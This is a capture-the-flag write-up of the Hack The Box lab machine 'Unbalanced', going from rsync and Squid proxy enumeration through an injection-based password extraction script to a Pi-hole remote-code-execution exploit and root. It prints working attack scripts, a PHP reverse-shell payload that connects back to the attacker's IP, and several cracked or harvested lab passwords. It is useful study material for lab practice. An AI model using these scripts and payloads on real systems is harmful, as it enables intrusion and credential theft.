jebidiah-anthony

write-ups and what not

HTB Unbalanced (10.10.10.200)



PART 1 : INITIAL RECON

$ nmap -oN nmap.tcp.initial --min-rate 5000 -p- -v 10.10.10.200

  PORT     STATE SERVICE
  22/tcp   open  ssh
  873/tcp  open  rsync
  3128/tcp open  squid-http

$ nmap -oN nmap.tcp.unbalanced -p 22,873,3128 -sC -sV -T4 10.10.10.200

  PORT     STATE SERVICE    VERSION
  22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  | ssh-hostkey:
  |   2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
  |   256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
  |_  256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
  873/tcp  open  rsync      (protocol version 31)
  3128/tcp open  http-proxy Squid http proxy 4.6
  |_http-server-header: squid/4.6
  |_http-title: ERROR: The requested URL could not be retrieved
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PART 2 : PORT ENUMERATION

rsync seems to be open on port 873 and checking if there are any shared folders:

$ rsync -av --list-only rsync://10.10.10.200

  conf_backups    EncFS-encrypted configuration backups

There is a shared folder named, conf_backups, which based on the description is probably an encrypted file share but it contains config files so some sort of credentials might be lying around somewhere.

$ rsync -av rsync://10.10.10.200/conf_backups ./conf_backups

  receiving incremental file list
  ./
  ,CBjPJW4EGlcqwZW4nmVqBA6
  -FjZ6-6,Fa,tMvlDsuVAO7ek
  .encfs6.xml
  0K72OfkNRRx3-f0Y6eQKwnjn
  27FonaNT2gnNc3voXuKWgEFP4sE9mxg0OZ96NB0x4OcLo-
  2VyeljxHWrDX37La6FhUGIJS
  3E2fC7coj5,XQ8LbNXVX9hNFhsqCjD-g3b-7Pb5VJHx3C1
  3cdBkrRF7R5bYe1ZJ0KYy786
  3xB4vSQH-HKVcOMQIs02Qb9,
  4J8k09nLNFsb7S-JXkxQffpbCKeKFNJLk6NRQmI11FazC1
  5-6yZKVDjG4n-AMPD65LOpz6-kz,ae0p2VOWzCokOwxbt,
  5FTRnQDoLdRfOEPkrhM2L29P
  5IUA28wOw0wwBs8rP5xjkFSs
  6R1rXixtFRQ5c9ScY8MBQ1Rg
  7-dPsi7efZRoXkZ5oz1AxVd-Q,L05rofx0Mx8N2dQyUNA,
  7zivDbWdbySIQARaHlm3NbC-7dUYF-rpYHSQqLNuHTVVN1
  8CBL-MBKTDMgB6AT2nfWfq-e
  8XDA,IOhFFlhh120yl54Q0da
  8e6TAzw0xs2LVxgohuXHhWjM
  9F9Y,UITgMo5zsWaP1TwmOm8EvDCWwUZurrL0TwjR,Gxl0
  A4qOD1nvqe9JgKnslwk1sUzO
  Acv0PEQX8vs-KdK307QNHaiF
  B6J5M3OP0X7W25ITnaZX753T
  Chlsy5ahvpl5Q0o3hMyUIlNwJbiNG99DxXJeR5vXXFgHC1
  ECXONXBBRwhb5tYOIcjjFZzh
  F4F9opY2nhVVnRgiQ,OUs-Y0
  FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1
  FSXWRSwW6vOvJ0ExPK0fXJ6F
  IymL3QugM,XxLuKEdwJJOOpi
  KPYfvxIoOlrRjTY18zi8Wne-
  Kb-,NDTgYevHOGdHCYsSQhhIHrUGjiM6i2JZcl,-PKAJm0
  Kpo3MHQxksW2uYX79XngQu-f
  KtFc,DR7HqmGdPOkM2CpLaM9
  Mv5TtpmUNnVl-fgqQeYAy8uu
  MxgjShAeN6AmkH2tQAsfaj6C
  Ni8LDatT134DF6hhQf5ESpo5
  Nlne5rpWkOxkPNC15SEeJ8g,
  OFG2vAoaW3Tvv1X2J5fy4UV8
  OvBqims-kvgGyJJqZ59IbGfy
  StlxkG05UY9zWNHBhXxukuP9
  TZGfSHeAM42o9TgjGUdOSdrd
  VQjGnKU1puKhF6pQG1aah6rc
  W5,ILrUB4dBVW-Jby5AUcGsz
  Wr0grx0GnkLFl8qT3L0CyTE6
  X93-uArUSTL,kiJpOeovWTaP
  Ya30M5le2NKbF6rD-qD3M-7t
  Yw0UEJYKN,Hjf-QGqo3WObHy
  Z8,hYzUjW0GnBk1JP,8ghCsC
  ZXUUpn9SCTerl0dinZQYwxrx
  ZvkMNEBKPRpOHbGoefPa737T
  a4zdmLrBYDC24s9Z59y-Pwa2
  c9w3APbCYWfWLsq7NFOdjQpA
  cwJnkiUiyfhynK2CvJT7rbUrS3AEJipP7zhItWiLcRVSA1
  dF2GU58wFl3x5R7aDE6QEnDj
  dNTEvgsjgG6lKBr8ev8Dw,p7
  gK5Z2BBMSh9iFyCFfIthbkQ6
  gRhKiGIEm4SvYkTCLlOQPeh-
  hqZXaSCJi-Jso02DJlwCtYoz
  iaDKfUAHJmdqTDVZsmCIS,Bn
  jIY9q65HMBxJqUW48LJIc,Fj
  kdJ5whfqyrkk6avAhlX-x0kh
  kheep9TIpbbdwNSfmNU1QNk-
  l,LY6YoFepcaLg67YoILNGg0
  lWiv4yDEUfliy,Znm17Al41zi0BbMtCbN8wK4gHc333mt,
  mMGincizgMjpsBjkhWq-Oy0D
  oPu0EVyHA6,KmoI1T,LTs83x
  pfTT,nZnCUFzyPPOeX9NwQVo
  pn6YPUx69xqxRXKqg5B5D2ON
  q5RFgoRK2Ttl3U5W8fjtyriX
  qeHNkZencKDjkr3R746ZzO5K
  sNiR-scp-DZrXHg4coa9KBmZ
  sfT89u8dsEY4n99lNsUFOwki
  uEtPZwC2tjaQELJmnNRTCLYU
  vCsXjR1qQmPO5g3P3kiFyO84
  waEzfb8hYE47wHeslfs1MvYdVxqTtQ8XGshJssXMmvOsZLhtJWWRX31cBfhdVygrCV5

  sent 1,452 bytes  received 411,990 bytes  28,513.24 bytes/sec
  total size is 405,603  speedup is 0.98

There are a lot of files but it still needs to be decrypted. One way to do this is by using encfs2john:

$ locate encfs

  /usr/share/john/encfs2john.py

$ python3 /usr/share/john/encfs2john.py ./conf_backups

  ./conf_backups:$encfs$19258028002099176a6e4d96c0b32bad9d4feb3d8e425165f105441b2a580dea6cda1aedd96d0b72f43de132b239f51c224852030dfe8892da2cad329edc006815a3e84b887add

$ python3 /usr/share/john/encfs2john.py ./conf_backups > conf_backups.hash

$ john --wordlist=/usr/share/wordlists/rockyou.txt conf_backups.hash

$ john --show conf_backups.hash

  ./conf_backups:bubblegum

  1 password hash cracked, 0 left

$ mkdir conf_backups_dec

$ encfs $(pwd)/conf_backups $(pwd)/conf_backups_dec

  EncFS Password: bubblegum

Now that the files have been decrypted, the directory looks like this:

$ ls conf_backups_dec

  50-localauthority.conf              hdparm.conf                      parser.conf
  50-nullbackend.conf                 host.conf                        protect-links.conf
  51-debian-sudo.conf                 initramfs.conf                   reportbug.conf
  70debconf                           input.conf                       resolv.conf
  99-sysctl.conf                      journald.conf                    resolved.conf
  access.conf                         kernel-img.conf                  rsyncd.conf
  adduser.conf                        ldap.conf                        rsyslog.conf
  bluetooth.conf                      ld.so.conf                       semanage.conf
  ca-certificates.conf                libaudit.conf                    sepermit.conf
  com.ubuntu.SoftwareProperties.conf  libc.conf                        sleep.conf
  dconf                               limits.conf                      squid.conf
  debconf.conf                        listchanges.conf                 sysctl.conf
  debian.conf                         logind.conf                      system.conf
  deluser.conf                        logrotate.conf                   time.conf
  dhclient.conf                       main.conf                        timesyncd.conf
  discover-modprobe.conf              mke2fs.conf                      ucf.conf
  dkms.conf                           modules.conf                     udev.conf
  dns.conf                            namespace.conf                   update-initramfs.conf
  dnsmasq.conf                        network.conf                     user.conf
  docker.conf                         networkd.conf                    user-dirs.conf
  fakeroot-x86_64-linux-gnu.conf      nsswitch.conf                    Vendor.conf
  framework.conf                      org.freedesktop.PackageKit.conf  wpa_supplicant.conf
  fuse.conf                           PackageKit.conf                  x86_64-linux-gnu.conf
  gai.conf                            pam.conf                         xattr.conf
  group.conf                          pam_env.conf

Since the files are now readable, we can begin searching for interesting information:

$ cd conf_backups_dec

$ cat  | grep -i "pass" | grep -v "#"

  mozilla/Buypass_Class_2_Root_CA.crt
  mozilla/Buypass_Class_3_Root_CA.crt
  Reject-Type: password
  Name: passwords
  Accept-Type: password
  Filename: /var/cache/debconf/passwords.dat
  Stack: config, passwords
  passwd:         files systemd
  cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
  cachemgr_passwd disable all

$ grep --with-filename "cachemgr_passwd"  | grep -v "#"

  squid.conf:cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
  squid.conf:cachemgr_passwd disable all

There is a password explicitly written in the Squid Proxy config file. This makes sense being the name of the box is Unbalanced so this must be about a misconfigured load balancer or something as there is an http proxy setup at port 3128.

What was also listed beside the cachemgr_passwd password are the options we could explore in the Squid Proxy Cache Manager.

I wrote a simple python script in order to explore the cache manager:

from base64 import b64encode
from pwn import *
import sys

host = "10.10.10.200"
port = 3128
req = "GET cache_object://{}:{}/{} HTTP/1.1\r\n".format(host, port, sys.argv[1])

username = ""
password = "Thah$Sh1"
creds = b64encode("{}:{}".format(username, password).encode("utf-8"))
auth = "Authorization: Basic {}\r\n".format(str(creds)[2:-1])

http = "{}{}".format(req, auth)
squid = remote("10.10.10.200", 3128)
squid.sendline(http)

while True:
    try:
        line = squid.recv().decode("unicode_escape")[:-1]
        print(line)
    except: break

And now checking what we could do and get:

$ python3 squid.py menu | grep protected

  menu                   Cache Manager Menu                      protected
  pconn                  Persistent Connection Utilization Histograms    protected
  mem                    Memory Utilization                      protected
  diskd                  DISKD Stats                             protected
  fqdncache              FQDN Cache Stats and Contents           protected
  filedescriptors        Process Filedescriptor Allocation       protected
  objects                All Cache Objects                       protected
  vm_objects             In-Memory and In-Transit Objects        protected
  counters               Traffic and Resource Counters           protected
  5min                   5 Minute Average of Counters            protected
  60min                  60 Minute Average of Counters           protected
  histograms             Full Histogram Counts                   protected
  cbdata                 Callback Data Registry Contents         protected
  sbuf                   String-Buffer statistics                protected
  events                 Event Queue                             protected

$ python3 squid.py fqdncache

  [...OMITTED...]
  Address                                       Flg TTL Cnt Hostnames
  127.0.1.1                                       H -001   2 unbalanced.htb unbalanced
  ::1                                             H -001   3 localhost ip6-localhost ip6-loopback
  172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
  172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
  127.0.0.1                                       H -001   1 localhost
  172.17.0.1                                      H -001   1 intranet.unbalanced.htb
  ff02::1                                         H -001   1 ip6-allnodes
  ff02::2                                         H -001   1 ip6-allrouters

There are three things interesting here — intranet.unbalanced.htb (172.17.0.1), intranet-host2.unbalanced.htb (172.31.179.2), and intranet-host3.unbalanced.htb (172.31.179.3).

Opening intranet.unbalanced.htb after setting up my proxy (Foxy Proxy) leads me to:

Foxy Proxy
Figure 1. Proxy Settings
Landing Page
Figure 2. Intranet Landing Page (/intranet.php)

Examining the reponse headers using curl:

$ curl -I --proxy "http://10.10.10.200:3128" http://172.17.0.1

  HTTP/1.1 302 Found
  Server: nginx/1.14.0 (Ubuntu)
  Date: Sat, 05 Dec 2020 22:12:03 GMT
  Content-Type: text/html; charset=UTF-8
  Location: intranet.php
  Intranet-Host: intranet-host3.unbalanced.htb
  X-Cache: MISS from unbalanced
  X-Cache-Lookup: MISS from unbalanced:3128
  Via: 1.1 unbalanced (squid/4.6)
  Connection: keep-alive

The internal load balancer will either bring you to intranet-host2 or intranet-host3 which contains a login form and a contact form which doesn’t seem to do anything when you submit entries or fail to login.

But then you’ll notice something missing…​ what happened to intranet-host1? Since host2 is at 172.31.179.2 and host3 is at 172.31.179.3, maybe it’s at 172.31.179.1.

$ curl -I --proxy "http://10.10.10.200:3128" http://172.31.179.1

  HTTP/1.1 200 OK
  Server: nginx/1.14.0 (Ubuntu)
  Date: Sat, 05 Dec 2020 22:38:45 GMT
  Content-Type: text/html; charset=UTF-8
  Intranet-Host: intranet-host1.unbalanced.htb
  X-Cache: MISS from unbalanced
  X-Cache-Lookup: MISS from unbalanced:3128
  Via: 1.1 unbalanced (squid/4.6)
  Connection: keep-alive

$ curl --proxy "http://10.10.10.200:3128" http://172.31.179.1

  Host temporarily taken out of load balancing for security maintenance.

And it does exist but this time, when you go to /intranet.php and try to login, an error message now appears which was not apparent in the other hosted applications.

host1
Figure 3. Error Message: Invalid credentials.

PART 3 : EXPLOITATION

After testing a simple SQL injection payload like ' or '1'='1, the form seems to be vulnerable as it returns a list of users and their respective roles. It is important to note that the form rejects capital letters so ' OR '1'='1 will not work. Comment characters also seem to be rejected.

SQL Injection
Figure 4. User list

Since we have an error message and given the limitations of the form, maybe it could be leveraged to extract passwords for the listed users. I’ll focus on bryan since he has the role of System Administrator.

I wrote another python script for this:

import requests as r

target = "http://172.31.179.1/intranet.php"
proxy = { "http": "http://10.10.10.200:3128" }

char_set = "abcdefghihjklmnopqrstuvwxyz0123456789!@$%^&*()=_+,./<>?:"
password = ""
while True:
    for i in char_set:
        payload = {
            "Username": "bryan",
            "Password": "' or substring(Password,{},1)='{}' or '".format(len(password)+1, i)
        }
        res = r.post(target, proxies=proxy, data=payload)

        if "bryan@unbalanced.htb" in res.text:
            password += i
            print(password)
            break

    if i == char_set[-1]: break
$ python3 intranet.py

  i
  ir
  ire
  irea
  ireal
  ireall
  ireally
  ireallyl
  ireallyl0
  ireallyl0v
  ireallyl0ve
  ireallyl0veb
  ireallyl0vebu
  ireallyl0vebub
  ireallyl0vebubb
  ireallyl0vebubbl
  ireallyl0vebubble
  ireallyl0vebubbleg
  ireallyl0vebubblegu
  ireallyl0vebubblegum
  ireallyl0vebubblegum!
  ireallyl0vebubblegum!!
  ireallyl0vebubblegum!!!

Checking to see if the password works:

bryan
Figure 5. Successful login as bryan

And it does!


PART 3 : GENERATE USER SHELL (bryan)

$ ssh -l bryan 10.10.10.200

  The authenticity of host '10.10.10.200 (10.10.10.200)' can\'t be established.
  ECDSA key fingerprint is SHA256:aiHhPmnhyt434Qvr9CpJRZOmU7m1R1LI29c11na1obY.
  Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
  Warning: Permanently added '10.10.10.200' (ECDSA) to the list of known hosts.
  bryan@10.10.10.200\'s password: ireallyl0vebubblegum!!!

bryan@unbalanced:~$ ls -la

  -rw-r--r-- 1 bryan bryan  798 Jun 17 11:35 TODO
  -rw-r--r-- 1 root  root    33 Dec  5 14:18 user.txt

PART 3 : PRIVILEGE ESCALATION (bryan → root)

Examining the TODO file in bryan’s home directory:

bryan@unbalanced:~$ cat TODO

  ############
  # Intranet #
  ############
  * Install new intranet-host3 docker [DONE]
  * Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
  * Test intranet-host3 [DONE]
  * Add intranet-host3 to load balancer [DONE]
  * Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
  * Fix intranet-host2 [DONE]
  * Re-add intranet-host2 to load balancer (set default weight) [DONE]
  - Fix intranet-host1 [TODO]
  - Re-add intranet-host1 to load balancer (set default weight) [TODO]

  ###########
  # Pi-hole #
  ###########
  * Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
  * Set temporary admin password [DONE]
  * Create Pi-hole configuration script [IN PROGRESS]
  - Run Pi-hole configuration script [TODO]
  - Expose Pi-hole ports to the network [TODO]

The file basically confirms the path to user where intranet-host1 is being troubleshooted but the important thing here is that there is a Pi-hole service running but is only available locally. It uses a temporary password so it’s probably insecure and new credentials may probably be found in the configuration script being created as of the moment.

Checking to see what we can connect to locally:

bryan@unbalanced:~$ ss -plnt | grep 127.0.0.1

  LISTEN    0         128              127.0.0.1:8080             0.0.0.0:*
  LISTEN    0         128              127.0.0.1:5553             0.0.0.0:*

bryan@unbalanced:~$ curl http://127.0.0.1:8080/

  [ERROR]: Unable to parse results from <i>queryads.php</i>: <code>Unhandled error message (<code>Invalid domain!</code>)</code>

There is an error when trying to access the service running at port 8080 locally but according to this Reddit thread, it seems like you can go directly to /admin/.

bryan@unbalanced:~$ curl -I http://127.0.0.1:8080/admin/

  HTTP/1.1 200 OK
  X-Pi-hole: The Pi-hole Web interface is working!
  X-Frame-Options: DENY
  Set-Cookie: PHPSESSID=icng7lp4cktfauu6lt26inrot0; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Content-type: text/html; charset=UTF-8
  Date: Sun, 06 Dec 2020 00:09:08 GMT
  Server: lighttpd/1.4.45

The Pi-hole service can now be reached! However, it’s running via docker so I decided to look for an IP it might be running from and maybe access it via Squid Proxy. Looking back into the file, squid.conf:

$ cat squid.conf | grep dst

  acl intranet dstdomain -n intranet.unbalanced.htb
  acl intranet_net dst -n 172.16.0.0/12

$ cat squid.conf | grep intranet_net

  acl intranet_net dst -n 172.16.0.0/12
  http_access allow intranet_net

Access to the IP range 172.16.0.0/12 (172.16.0.0 – 172.31.255.255) is allowed via the proxy and checking the interfaces available to the machine, I decided to do a ping sweep in the IP range, 172.31.0.1/16.

bryan@unbalanced:~$ ip a | grep "inet "

  inet 127.0.0.1/8 scope host lo
  inet 10.10.10.200/24 brd 10.10.10.255 scope global ens160
  inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
  inet 172.31.0.1/16 brd 172.31.255.255 scope global br-742fc4eb92b1

bryan@unbalanced:~$ for x in {1..254}; do for y in {1..254}; do (ping -c1 172.31.$x.$y 2>/dev/null | grep "bytes from" &); done; done

  64 bytes from 172.31.11.3: icmp_seq=1 ttl=64 time=0.248 ms
  64 bytes from 172.31.179.2: icmp_seq=1 ttl=64 time=0.175 ms
  64 bytes from 172.31.179.3: icmp_seq=1 ttl=64 time=0.148 ms
  64 bytes from 172.31.179.1: icmp_seq=1 ttl=64 time=0.122 ms

Aside from the previous intranet hosts, there is a new host identified --172.31.11.3. Trying to access it via Squid Proxy leads you to:

Pi-hole Landing Page
Figure 6. Pi-hole Landing Page

Now going to the login page, and remembering that a temporary password is set for the admin account, I tried "admin" and it went through but there is not much to do so I search also for an exploit for the current version of Pi-hole being run.

Pi-hole Login Page
Figure 7. Pi-hole Login Page
Pi-hole Admin Panel
Figure 8. Pi-hole Admin Panel
Pi-hole Version
Figure 9. Pi-hole Version

Looking for exploits:

$ searchsploit pi-hole

  searchsploit pi-hole
  ------------------------------------------------------------------------------------- ---------------------------------
   Exploit Title                                                                       |  Path
  ------------------------------------------------------------------------------------- ---------------------------------
  Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)          | php/remote/48491.rb
  Pi-hole 4.3.2 - Remote Code Execution (Authenticated)                                | python/webapps/48727.py
  Pi-hole 4.4.0 - Remote Code Execution (Authenticated)                                | linux/webapps/48519.py
  Pi-hole < 4.4 - Authenticated Remote Code Execution                                  | linux/webapps/48442.py
  Pi-hole < 4.4 - Authenticated Remote Code Execution / Privileges Escalation          | linux/webapps/48443.py
  Pi-Hole Web Interface 2.8.1 - Persistent Cross-Site Scripting in Whitelist/Blacklist | linux/webapps/40249.txt
  ------------------------------------------------------------------------------------- ---------------------------------
  Shellcodes: No Results

$ searchsploit -m python/webapps/48727.py

$ python 48727.py

  ╔═╗┬ ┬┌┐┌  ╔═╗┬┬ ┬┌─┐┬  ┌─┐
  ╠═╝││││││  ╠═╝│├─┤│ ││  ├┤
  ╩  └┴┘┘└┘  ╩  ┴┴ ┴└─┘┴─┘└─┘
        by @CyberVaca

  usage: 48727.py [-h] -u URL -p PORT -i IP -pass PASSWORD
  48727.py: error: argument -u is required

Setting up the exploit — I forwarded the locally available service inside the machine since HTTP proxies are very unreliable when establishing reverse shells afterwhich I setup a listener via netcat in my machine:

$ sshpass -p 'ireallyl0vebubblegum!!!' ssh -l bryan -L 8080:127.0.0.1:8080 -f -N 10.10.10.200

$ nc -lvp 4444

  listening on [any] 4444 ...

Then I ran the exploit:

$ python 48727.py -u http://127.0.0.1:8080 -p 4444 -i 10.10.14.11 -pass admin

  ╔═╗┬ ┬┌┐┌  ╔═╗┬┬ ┬┌─┐┬  ┌─┐
  ╠═╝││││││  ╠═╝│├─┤│ ││  ├┤
  ╩  └┴┘┘└┘  ╩  ┴┴ ┴└─┘┴─┘└─┘
        by @CyberVaca

  [] Token: TYiXiwh9ctRRTAHZ/5bZz/HX3vfihy6jvq8BYk1yb9w=
  [] Payload: php -r '$sock=fsockopen("10.10.14.11", 4444);exec("/bin/sh -i <&3 >&3 2>&3");'
  [+] Sending Payload...

Going back to the listener:

$ id

  uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ hostname

  pihole.unbalanced.htb

$ cd /root

$ ls -l

  -rw-r--r-- 1 root root 113876 Sep 20  2019 ph_install.sh
  -rw-r--r-- 1 root root    485 Apr  6  2020 pihole_config.sh

$ cat pihole_config.sh

  #!/bin/bash

  # Add domains to whitelist
  /usr/local/bin/pihole -w unbalanced.htb
  /usr/local/bin/pihole -w rebalanced.htb

  # Set temperature unit to Celsius
  /usr/local/bin/pihole -a -c

  # Add local host record
  /usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

  # Set privacy level
  /usr/local/bin/pihole -a -l 4

  # Set web admin interface password
  /usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

  # Set admin email
  /usr/local/bin/pihole -a email admin@unbalanced.htb

The /root directory is readable and in there is the Pi-hole config file mentioned earlier. A new password is visible and maybe this could be used to su to root:

bryan@unbalanced:~$ su -

  Password: bUbBl3gUm$43v3Ry0n3!

root@unbalanced:~# id

  uid=0(root) gid=0(root) groups=0(root)

root@unbalanced:~# ls -l

  -rw------- 1 root root 33 Dec  5 14:18 root.txt

And now, we have root!